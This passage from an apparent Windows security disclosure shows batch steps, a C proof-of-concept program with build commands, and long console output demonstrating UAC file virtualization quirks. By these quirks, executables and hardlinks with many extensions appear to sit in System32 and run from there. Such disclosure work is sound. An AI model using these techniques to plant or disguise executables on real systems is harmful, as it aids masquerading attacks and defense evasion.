TITLE Step 4: create executable files with other extensions in the 'system directory'
SET QUIRK49=.dll .efi .htm .iso .jse .lnk .pif .scr .sys .ttf .vbe .url .wll .wsf .wsh .xll
FOR %%? IN (%QUIRK49%) DO COPY "%~dpn0.com" "%SystemRoot%\System32\%~n0%%?"
DIR /A /R /S "%SystemRoot%\%~n0.*"
DIR /A /R /S "%LOCALAPPDATA%\VirtualStore"
TITLE Step 5: move files created above from the 'system directory' into the 'application directory'
MOVE "%SystemRoot%\System32\%~n0.*" "%~dp0."
DIR /A /R /S "%SystemRoot%\%~n0.*"
DIR /A /R /S "%LOCALAPPDATA%\VirtualStore"
TITLE Step 6: create executable hardlinks with all extensions used above in the 'system directory'
COPY "%~dpn0.com" "%LOCALAPPDATA%\Temp"
FOR %%? IN (%PATHEXT% %QUIRK49%) DO MKLINK /H "%SystemRoot%\System32\%~n0%%?" "%LOCALAPPDATA%\Temp\%~dpn0.com"
ERASE "%LOCALAPPDATA%\Temp\%~dpn0.com"
DIR /A /R /S "%SystemRoot%\%~n0.*"
DIR /A /R /S "%LOCALAPPDATA%\VirtualStore"
TITLE Step 7: move hardlinks created above from the 'system directory' into the 'application directory'
MOVE "%SystemRoot%\System32\%~n0.*" "%~dp0."
DIR /A /R /S "%SystemRoot%\%~n0.*"
DIR /A /R /S "%LOCALAPPDATA%\VirtualStore"
TITLE Step 8: execute hardlinks left in the 'system directory'
FOR %%? IN ("%SystemRoot%\System32\%~n0.*") DO CALL "%%~?"
TITLE Step 9: create (empty) 'alternate data streams' on the subdirectory created above
FOR %%? IN (%PATHEXT% %QUIRK49%) DO BREAK 1>"%SystemRoot%\System32\%~n0:%~n0%%?"
DIR /A /R /S "%SystemRoot%\%~n0"
DIR /A /R /S "%LOCALAPPDATA%\VirtualStore"
TITLE Step 10: erase files, hardlinks and the subdirectory created above
ERASE "%SystemRoot%\System32\%~n0.*"
RMDIR "%SystemRoot%\System32\%~n0"
DIR /A /R /S "%SystemRoot%\%~n0.*"
DIR /A /R /S "%LOCALAPPDATA%\VirtualStore"
TITLE Step 11: remove garbage left in the 'virtual store' and exit
ERASE "%LOCALAPPDATA%\VirtualStore\System32\%~n0.*"
RMDIR "%LOCALAPPDATA%\VirtualStore\System32\%~n0"
RMDIR "%LOCALAPPDATA%\VirtualStore\System32"
ERASE "%LOCALAPPDATA%\VirtualStore\SysWoW64\%~n0.*"
RMDIR "%LOCALAPPDATA%\VirtualStore\SysWoW64\%~n0"
RMDIR "%LOCALAPPDATA%\VirtualStore\SysWoW64"
EXIT /B
dangerousalias executable files first, second a bug with NTFS Alternate Data Streams in the Win32 function
DeleteFile()
,
and third yet another bug with
Alternate Data Streams in the internal
DIR /R
command of the
Command Processor.
Create the text file quirk49.c
with the following
content in an arbitrary, preferable empty directory:
// Copyright © 2009-2024, Stefan Kanthak <stefan.kanthak@nexgo.de>
#ifdef _WIN64
#error Must be built as 32-bit console application!
#endif
#define _CRT_SECURE_NO_WARNINGS
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(safebuffers)
BOOL CDECL PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
WCHAR szOutput[1024];
DWORD dwOutput;
DWORD dwConsole;
va_list vaInput;
va_start(vaInput, lpFormat);
dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
va_end(vaInput);
if (dwOutput == 0)
return FALSE;
if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
return FALSE;
return dwConsole == dwOutput;
}
const LPCWSTR szExtension[] = {L".acm", L".asa", L".asp", L".ax", L".bat", L".chm", L".cmd", L".cnt", L".cnv", L".com", L".cpl",
L".crt", L".dll", L".drv", L".efi", L".exe", L".fon", L".hlp", L".hta", L".ime", L".inf", L".ins",
L".iso", L".isp", L".its", L".js", L".jse", L".lnk", L".msc", L".msi", L".msp", L".mst", L".mui",
L".nls", L".ocx", L".pif", L".reg", L".scr", L".sct", L".shb", L".shs", L".sys", L".tlb", L".tmp",
L".tsp", L".ttf", L".url", L".vb", L".vbe", L".vbs", L".wll", L".wsc", L".wsf", L".wsh", L".xll"};
const STARTUPINFO si = {sizeof(si),
(LPWSTR) NULL,
(LPWSTR) NULL,
(LPWSTR) NULL,
0, 0, 0, 0,
0, 0,
0,
STARTF_USESTDHANDLES,
0,
0,
(LPBYTE) NULL,
INVALID_HANDLE_VALUE, // STDIN
INVALID_HANDLE_VALUE, // STDOUT
INVALID_HANDLE_VALUE}; // STDERR
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
#ifndef ADS
PROCESS_INFORMATION pi;
#endif
DWORD dwModule;
WCHAR szModule[MAX_PATH];
WCHAR szOriginal[MAX_PATH];
DWORD dwOriginal;
DWORD dwExtension = 0;
DWORD dwError = ERROR_SUCCESS;
DWORD dwVirtual;
WCHAR szVirtual[MAX_PATH];
HANDLE hVirtual;
HANDLE hConsole = GetStdHandle(STD_ERROR_HANDLE);
if (hConsole == INVALID_HANDLE_VALUE)
dwError = GetLastError();
else
{
dwModule = GetModuleFileName((HMODULE) NULL,
szModule,
sizeof(szModule) / sizeof(*szModule));
if (dwModule == 0)
PrintConsole(hConsole,
L"GetModuleFileName() returned error %lu\n",
dwError = GetLastError());
else
{
dwOriginal = GetSystemDirectory(szOriginal,
sizeof(szOriginal) / sizeof(*szOriginal));
if (dwOriginal == 0)
PrintConsole(hConsole,
L"GetSystemDirectory() returned error %lu\n",
dwError = GetLastError());
else
{
#ifndef ADS
wcscpy(szOriginal + dwOriginal, L"\\Quirk49");
#else
wcscpy(szOriginal + dwOriginal, L":Quirk49");
#endif
if (!CreateDirectory(szOriginal,
(LPSECURITY_ATTRIBUTES) NULL))
PrintConsole(hConsole,
L"CreateDirectory() returned error %lu for directory \'%ls\'\n",
dwError = GetLastError(), szOriginal);
else
{
dwVirtual = GetFileAttributes(szOriginal);
if (dwVirtual == INVALID_FILE_ATTRIBUTES)
PrintConsole(hConsole,
L"GetFileAttributes() returned error %lu for directory \'%ls\'\n",
dwError = GetLastError(), szOriginal);
else
if (dwVirtual & FILE_ATTRIBUTE_VIRTUAL)
PrintConsole(hConsole,
L"Directory \'%ls\' has \'FILE_ATTRIBUTE_VIRTUAL\'\n",
szOriginal);
if (!RemoveDirectory(szOriginal))
PrintConsole(hConsole,
L"RemoveDirectory() returned error %lu for directory \'%ls\'\n",
dwError = GetLastError(), szOriginal);
}
do
{
wcscpy(szOriginal + dwOriginal + sizeof("Quirk49"), szExtension[dwExtension]);
hVirtual = CreateFile(szOriginal,
FILE_WRITE_DATA,
FILE_SHARE_DELETE | FILE_SHARE_READ | FILE_SHARE_WRITE,
(LPSECURITY_ATTRIBUTES) NULL,
CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
(HANDLE) NULL);
if (hVirtual == INVALID_HANDLE_VALUE)
PrintConsole(hConsole,
L"CreateFile() returned error %lu for file \'%ls\'\n",
dwError = GetLastError(), szOriginal);
else
{
dwVirtual = GetFileAttributes(szOriginal);
if (dwVirtual == INVALID_FILE_ATTRIBUTES)
PrintConsole(hConsole,
L"GetFileAttributes() returned error %lu for file \'%ls\'\n",
dwError = GetLastError(), szOriginal);
else
if (dwVirtual & FILE_ATTRIBUTE_VIRTUAL)
PrintConsole(hConsole,
L"File \'%ls\' has \'FILE_ATTRIBUTE_VIRTUAL\'\n",
szOriginal);
dwVirtual = GetFinalPathNameByHandle(hVirtual,
szVirtual,
sizeof(szVirtual) / sizeof(*szVirtual),
FILE_NAME_NORMALIZED | VOLUME_NAME_DOS);
if (dwVirtual == 0)
PrintConsole(hConsole,
L"GetFinalPathNameByHandle() returned error %lu for file \'%ls\'\n",
dwError = GetLastError(), szOriginal);
else
PrintConsole(hConsole,
L"File \'%ls\' is virtualized to \'%ls\'\n",
szOriginal, szVirtual + 4);
if (!WriteFile(hVirtual,
L"\xFEFF", // UTF-16LE byte order mark
sizeof(L'\xFEFF'),
&dwVirtual,
(LPOVERLAPPED) NULL))
PrintConsole(hConsole,
L"WriteFile() returned error %lu for file \'%ls\'\n",
dwError = GetLastError(), szOriginal);
else
if (dwVirtual != sizeof(L'\xFEFF'))
PrintConsole(hConsole,
L"WriteFile() failed, %lu of %lu bytes written to file \'%ls\'\n",
dwVirtual, sizeof(L'\xFEFF'), szOriginal);
if (!CloseHandle(hVirtual))
PrintConsole(hConsole,
L"CloseHandle() returned error %lu for file \'%ls\'\n",
dwError = GetLastError(), szOriginal);
#ifndef ADS
if (!CreateProcess(szOriginal,
(LPWSTR) NULL,
(LPSECURITY_ATTRIBUTES) NULL,
(LPSECURITY_ATTRIBUTES) NULL,
TRUE,
CREATE_DEFAULT_ERROR_MODE | CREATE_NEW_CONSOLE | CREATE_PRESERVE_CODE_AUTHZ_LEVEL | CREATE_UNICODE_ENVIRONMENT,
L"",
(LPCWSTR) NULL,
&si,
&pi))
PrintConsole(hConsole,
L"CreateProcess() returned error %lu for file \'%ls\'\n",
dwError = GetLastError(), szOriginal);
else
{
PrintConsole(hConsole,
L"File \'%ls\' started as process %lu with primary thread %lu\n",
szOriginal, pi.dwProcessId, pi.dwThreadId);
if (!CloseHandle(pi.hThread))
PrintConsole(hConsole,
L"CloseHandle() returned error %lu\n",
dwError = GetLastError());
if (!CloseHandle(pi.hProcess))
PrintConsole(hConsole,
L"CloseHandle() returned error %lu\n",
dwError = GetLastError());
}
hVirtual = LoadLibrary(szOriginal);
if (hVirtual == NULL)
PrintConsole(hConsole,
L"LoadLibrary() returned error %lu for file \'%ls\'\n",
dwError = GetLastError(), szOriginal);
else
{
PrintConsole(hConsole,
L"File \'%ls\' loaded at address 0x%p\n",
szOriginal, hVirtual);
if (!FreeLibrary(hVirtual))
PrintConsole(hConsole,
L"FreeLibrary() returned error %lu for file \'%ls\'\n",
dwError = GetLastError(), szOriginal);
else
PrintConsole(hConsole,
L"File \'%ls\' unloaded from 0x%p\n",
szOriginal, hVirtual);
}
#endif
if (!DeleteFile(szOriginal))
PrintConsole(hConsole,
L"DeleteFile() returned error %lu for file \'%ls\'\n",
dwError = GetLastError(), szOriginal);
}
#ifndef ADS
if (!CreateHardLink(szOriginal,
szModule,
(LPSECURITY_ATTRIBUTES) NULL))
PrintConsole(hConsole,
L"CreateHardLink() returned error %lu for hardlink \'%ls\'\n",
dwError = GetLastError(), szOriginal);
else
{
dwVirtual = GetFileAttributes(szOriginal);
if (dwVirtual == INVALID_FILE_ATTRIBUTES)
PrintConsole(hConsole,
L"GetFileAttributes() returned error %lu for hardlink \'%ls\'\n",
dwError = GetLastError(), szOriginal);
else
if (dwVirtual & FILE_ATTRIBUTE_VIRTUAL)
PrintConsole(hConsole,
L"Hardlink \'%ls\' has \'FILE_ATTRIBUTE_VIRTUAL\'\n",
szOriginal);
if (!CreateProcess(szOriginal,
(LPWSTR) NULL,
(LPSECURITY_ATTRIBUTES) NULL,
(LPSECURITY_ATTRIBUTES) NULL,
TRUE,
CREATE_DEFAULT_ERROR_MODE | CREATE_NEW_CONSOLE | CREATE_PRESERVE_CODE_AUTHZ_LEVEL | CREATE_UNICODE_ENVIRONMENT,
L"",
(LPCWSTR) NULL,
&si,
&pi))
PrintConsole(hConsole,
L"CreateProcess() returned error %lu for hardlink \'%ls\'\n",
dwError = GetLastError(), szOriginal);
else
{
PrintConsole(hConsole,
L"Hardlink \'%ls\' started as process %lu with primary thread %lu\n",
szOriginal, pi.dwProcessId, pi.dwThreadId);
if (!CloseHandle(pi.hThread))
PrintConsole(hConsole,
L"CloseHandle() returned error %lu\n",
dwError = GetLastError());
if (!CloseHandle(pi.hProcess))
PrintConsole(hConsole,
L"CloseHandle() returned error %lu\n",
dwError = GetLastError());
}
hVirtual = LoadLibrary(szOriginal);
if (hVirtual == NULL)
PrintConsole(hConsole,
L"LoadLibrary() returned error %lu for hardlink \'%ls\'\n",
dwError = GetLastError(), szOriginal);
else
{
PrintConsole(hConsole,
L"Hardlink \'%ls\' loaded at address 0x%p\n",
szOriginal, hVirtual);
if (!FreeLibrary(hVirtual))
PrintConsole(hConsole,
L"FreeLibrary() returned error %lu for hardlink \'%ls\'\n",
dwError = GetLastError(), szOriginal);
else
PrintConsole(hConsole,
L"File \'%ls\' unloaded from 0x%p\n",
szOriginal, hVirtual);
}
if (!DeleteFile(szOriginal))
PrintConsole(hConsole,
L"DeleteFile() returned error %lu for hardlink \'%ls\'\n",
dwError = GetLastError(), szOriginal);
}
#endif
}
while (++dwExtension < sizeof(szExtension) / sizeof(*szExtension));
}
}
if (!CloseHandle(hConsole))
PrintConsole(hConsole,
L"CloseHandle() returned error %lu\n",
GetLastError());
}
ExitProcess(dwError);
}
Note: the
MSDN article
File Attribute Constants
documents FILE_ATTRIBUTE_VIRTUAL
rather sparse:
Constant/value Description FILE_ATTRIBUTE_VIRTUAL
65536 (0x10000)This value is reserved for system use.
Build the 32-bit console application
quirk49.exe
from the source file
quirk49.c
created in step 1.:
SET CL=/GAFy /Oisy /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /MACHINE:I386 /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE quirk49.c kernel32.lib user32.libFor details and reference see the MSDN articles Compiler Options and Linker Options.
Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.
Note: quirk49.exe
is a pure
Win32 console application and builds without the
MSVCRT
libraries.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk49.c quirk49.c(195) : warning C4090: 'function' : different 'const' qualifiers quirk49.c(273) : warning C4090: 'function' : different 'const' qualifiers Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /MACHINE:I386 /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:quirk49.exe quirk49.obj kernel32.lib user32.lib
Execute the console application quirk49.exe
built in
step 2. to demonstrate the (mis)behaviour:
.\quirk49.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
Directory 'C:\Windows\system32\Quirk49' has 'FILE_ATTRIBUTE_VIRTUAL' CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk49.acm' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.acm' CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.acm' LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk49.acm' DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.acm' CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk49.asa' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.asa' CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.asa' LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk49.asa' DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.asa' CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk49.asp' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.asp' CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.asp' LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk49.asp' DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.asp' CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk49.ax' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.ax' CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.ax' LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk49.ax' DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.ax' CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk49.bat' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.bat' CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.bat' LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk49.bat' DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.bat' CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk49.chm' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.chm' CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.chm' LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk49.chm' DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.chm' CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk49.cmd' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.cmd' CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.cmd' LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk49.cmd' DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.cmd' CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk49.cnt' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.cnt' CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.cnt' LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk49.cnt' DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.cnt' CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk49.cnv' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.cnv' CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.cnv' LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk49.cnv' DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.cnv' CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk49.com' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.com' CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.com' LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk49.com' DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.com' CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk49.cpl' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.cpl' CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.cpl' LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk49.cpl' DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.cpl' CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk49.crt' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.crt' CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.crt' LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk49.crt' DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.crt' CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk49.dll' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.dll' CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.dll' LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk49.dll' DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.dll' CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk49.drv' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.drv' CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.drv' LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk49.drv' DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.drv' File 'C:\Windows\system32\Quirk49.efi' has 'FILE_ATTRIBUTE_VIRTUAL' File 'C:\Windows\system32\Quirk49.efi' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\SysWOW64\Quirk49.efi' CreateProcess() returned error 193 for file 'C:\Windows\system32\Quirk49.efi' LoadLibrary() returned error 193 for file 'C:\Windows\system32\Quirk49.efi' Hardlink 'C:\Windows\system32\Quirk49.efi' has 'FILE_ATTRIBUTE_VIRTUAL' Hardlink 'C:\Windows\system32\Quirk49.efi' started as process 7800 with primary thread 13080 LoadLibrary() returned error 193 for hardlink 'C:\Windows\system32\Quirk49.efi' DeleteFile() returned error 5 for hardlink 'C:\Windows\system32\Quirk49.efi' CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk49.exe' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.exe' CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.exe' LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk49.exe' DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.exe' CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk49.fon' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.fon' CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.fon' LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk49.fon' DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.fon' CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk49.hlp' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.hlp' CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.hlp' LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk49.hlp' DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.hlp' CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk49.hta' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.hta' CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.hta' LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk49.hta' DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.hta' CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk49.ime' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.ime' CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.ime' LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk49.ime' DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.ime' CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk49.inf' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.inf' CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.inf' LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk49.inf' DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.inf' CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk49.ins' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.ins' CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.ins' LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk49.ins' DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.ins' File 'C:\Windows\system32\Quirk49.iso' has 'FILE_ATTRIBUTE_VIRTUAL' File 'C:\Windows\system32\Quirk49.iso' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\SysWOW64\Quirk49.iso' CreateProcess() returned error 193 for file 'C:\Windows\system32\Quirk49.iso' LoadLibrary() returned error 193 for file 'C:\Windows\system32\Quirk49.iso' Hardlink 'C:\Windows\system32\Quirk49.iso' has 'FILE_ATTRIBUTE_VIRTUAL' Hardlink 'C:\Windows\system32\Quirk49.iso' started as process 11284 with primary thread 4168 LoadLibrary() returned error 193 for hardlink 'C:\Windows\system32\Quirk49.iso' DeleteFile() returned error 5 for hardlink 'C:\Windows\system32\Quirk49.iso' CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk49.isp' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.isp' CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.isp' LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk49.isp' DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.isp' CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk49.its' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.its' CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.its' LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk49.its' DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.its' CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk49.js' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.js' CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.js' LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk49.js' DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.js' CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk49.jse' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.jse' CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.jse' LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk49.jse' DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.jse' CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk49.lnk' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.lnk' CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.lnk' LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk49.lnk' DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.lnk' CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk49.msc' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.msc' CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.msc' LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk49.msc' DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.msc' CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk49.msi' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.msi' CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.msi' LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk49.msi' DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.msi' CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk49.msp' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.msp' CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.msp' LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk49.msp' DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.msp' CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk49.mst' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.mst' CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.mst' LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk49.mst' DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.mst' CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk49.mui' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.mui' CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.mui' LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk49.mui' DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.mui' CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk49.nls' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.nls' CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.nls' LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk49.nls' DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.nls' CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk49.ocx' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.ocx' CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.ocx' LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk49.ocx' DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.ocx' CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk49.pif' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.pif' CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.pif' LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk49.pif' DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.pif' CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk49.reg' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.reg' CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.reg' LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk49.reg' DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.reg' CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk49.scr' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.scr' CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.scr' LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk49.scr' DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.scr' CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk49.sct' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.sct' CreateProcess() returned error 2 for hardlink 